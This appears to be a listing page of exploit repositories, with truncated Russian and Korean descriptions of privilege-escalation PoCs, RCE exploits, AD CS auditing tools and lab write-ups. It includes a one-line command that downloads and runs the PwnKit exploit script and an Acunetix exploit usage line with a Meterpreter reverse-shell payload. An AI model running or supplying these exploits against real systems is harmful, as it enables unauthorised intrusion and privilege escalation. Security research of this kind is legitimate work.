tpwn

tpwn cve-2015-???? poc os x 10.10.5 локальное повышение привилегий ядра Уязвимость прикрыли в 10.11 Полный разбор etason Респект @ unthreadedjb за хакс Установите NULLGuard, чтобы защитить себя от tpwn и других ошибок разыменования нулевого указателя...

PS4-5.05-Kernel-Exploit

PS4 5.05 Эксплойт ядра Краткое описание В этом проекте вы найдёте полную реализацию второго «bpf»-эксплойта ядра для PlayStation 4 на версии 5.05. Он позволит вам выполнять произвольный код на уровне ядра, обеспечивая джейлбрейк и модификации системы на уровне ядра. Этот эксплойт также содержит к...

tcp-zerocopy-sm

Investigation is closed. Working fork: https://github.com/soumarcelino/Root-My-Galaxy-SM-S918B Read this - https://github.com/BuSung-dev/Root-My-Galaxy-Payloads/issues/160issuecomment-5227077583 Attempts to cause rights elevation w GhostLock via TCP Zerocopy. Designed expecially for 5.15. samsung...

ESCepcion

🛡️ ESCepcion Аудитор служб сертификации Active Directory AD CS ESCepcion — это инструмент с открытым исходным кодом Open Source для аудита и оценки уязвимостей в инфраструктурах Active Directory Certificate Services AD CS. Он предназначен для автоматизации обнаружения путей повышения привилегий ES...

token-priv

Злоупотребление привилегиями токенов для повышения привилегий Август 2017 Bryan Alexander @dronesec Stephen Breen @breenmachine Этот репозиторий содержит весь код и статью в стиле Phrack об исследовании злоупотребления привилегиями токенов для повышения привилегий. Не стесняйтесь писать нам с...

GhostLock-OPPO-PCKM00

GhostLock — OPPO PCKM00 4.14.180 PoC CVE-2026-43499 GhostLock — Linux 커널 futex 우선순위 상속priority-inheritance use-after-free 로컬 권한 상승 PoC로, OPPO PCKM00 OP4A57, SM6150, Android 11, 커널 4.14.180-perf+용으로 포팅되었습니다. DISCLAIMER / 免责声明 이 프로젝트는 공인된 보안 연구 및 교육 목적으로만 사용하세요. 소유하지 않았거나 명시적으로 테스트 권한을 부여받지 않은 기기에서...

Kerberos-CVE-2026-27912

Kerberos-CVE-2026-27912 CVE-2026-27912 — уязвимость повышения привилегий Windows Kerberos ResetNightmare — несанкционированный сброс пароля через ошибку протокола смены пароля Kerberos. 📋 Сведения Поле| Значение ---|--- CVE| CVE-2026-27912 Название| Уязвимость повышения привилегий Windows Kerbero...

BadSamba

ОПИСАНИЕ Этот модуль используется для эксплуатации выполнения стартовых скриптов через параметры Windows Group Policy, когда они настроены на запуск с удалённой SMB-шары. Windows Group Policy можно использовать для настройки стартовых скриптов, которые будут выполняться при каждом включении...

acunetix_0day

Acunetix 0day RCE - SYSTEM Acunetix 0day RCE Использование Запустите скрипт с параметрами dzonerzy:dvm dzonerzy$ python /Users/dzonerzy/PycharmProjects/natbypass/acu0day.py 9999 172.16.24.1 Acunetix WVS 10 - SYSTEM Remote Command Execution Daniele Linguaglossa Payload: Meterpreter reverse TCP 444...

Win10Pcap-Exploit

Win10Pcap-Exploit автор: https://twitter.com/R00tkitSMM [email protected] telegram username : https://telegram.me/firozi некоторое время назад я обнаружил уязвимость в драйвере win10pcap, которая может привести к повышению привилегий. Я сообщил об уязвимости, и теперь ошибка исправлена:...

uacscript

Уязвимость обхода UAC в Windows Script Host Исполняемые файлы Windows Script Host уязвимы из-за отсутствующего встроенного манифеста. Используя другой эксплойт, комбинацию файлов «wusa.exe» и «makecab.exe» можно скопировать в папку Windows. Копии манифеста и хост-сценария позволяют запустить...

slui-file-handler-hijack-privilege-escalation

Slui File Handler Hijack LPE Информация об эксплойте| ---|--- Дата| 15.01.2018 Исправлено в| Windows 10 20H1 19041 exploit-db| 44830 Протестировано на| Windows 8-10, независимо от x86/x64 Описание slui.exe — это бинарный файл с автоматическим повышением привилегий, уязвимый к перехвату обработчик...

SOC335---CVE-2024-49138-Exploitation-Detected

whoami root@soc: cat casefile.txt Platform : LetsDefend Case : SOC335 - CVE-2024-49138 Exploitation Detected EventID : 313 Alert T...

DIR8xx_PoC

phpcgi phpcgi отвечает за обработку запросов к страницам .php, .asp и .txt. Кроме того, он проверяет, авторизован ли пользователь. Тем не менее, если запрос сформирован определённым образом, злоумышленник может легко обойти авторизацию и выполнить скрипт, который возвращает логин и пароль от...

Exploit for OS Command Injection in Vsftpd_Project Vsftpd

FTP Service Enumeration & vsftpd 2.3.4 Backdoor Validation...

VulnHub-DC1-Writeup

VulnHub-DC1-Writeup "Заметки по лабораторным работам по пентесту, документирующие полные цепочки атак — от разведки до root." 🔓 VulnHub — DC-1 Boot-to-Root Writeup Сложность: Начальный–Средний Платформа: VulnHub Цель: Получить все 4 флага и добиться полной компрометации с правами root ОС...

OVSwrap

OVSwrap CVE-2026-64531 Разбор !WARNING PoC предоставляется исключительно для того, чтобы помочь защитникам, сопровождающим и авторизованным командам безопасности проверить исправления, смягчающие меры, детекторы и подверженность на системах, которыми они владеют или на тестирование которых у них...

CVE-2026-9645-ScadaBR-Analysis

CVE-2026-9645 — Анализ уязвимости ScadaBR Технический анализ уязвимости и брифинг по CVE для CVE-2026-9645 , затрагивающего платформу SCADA/HMI с открытым исходным кодом ScadaBR. Обзор CVE-2026-9645 — критическая уязвимость удалённого выполнения кода после аутентификации в ScadaBR. Согласно...

KERNELexploits

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Manually curl -fsSL...

DirtyAH6

DirtyAH6 CVE-2026-80844 Разбор !WARNING PoC предоставлен исключительно для помощи защитникам, мейнтейнерам и авторизованным командам безопасности в проверке патчей, мер защиты, обнаружения и подверженности уязвимости на системах, которыми они владеют или которые им явно разрешено тестировать. Вы...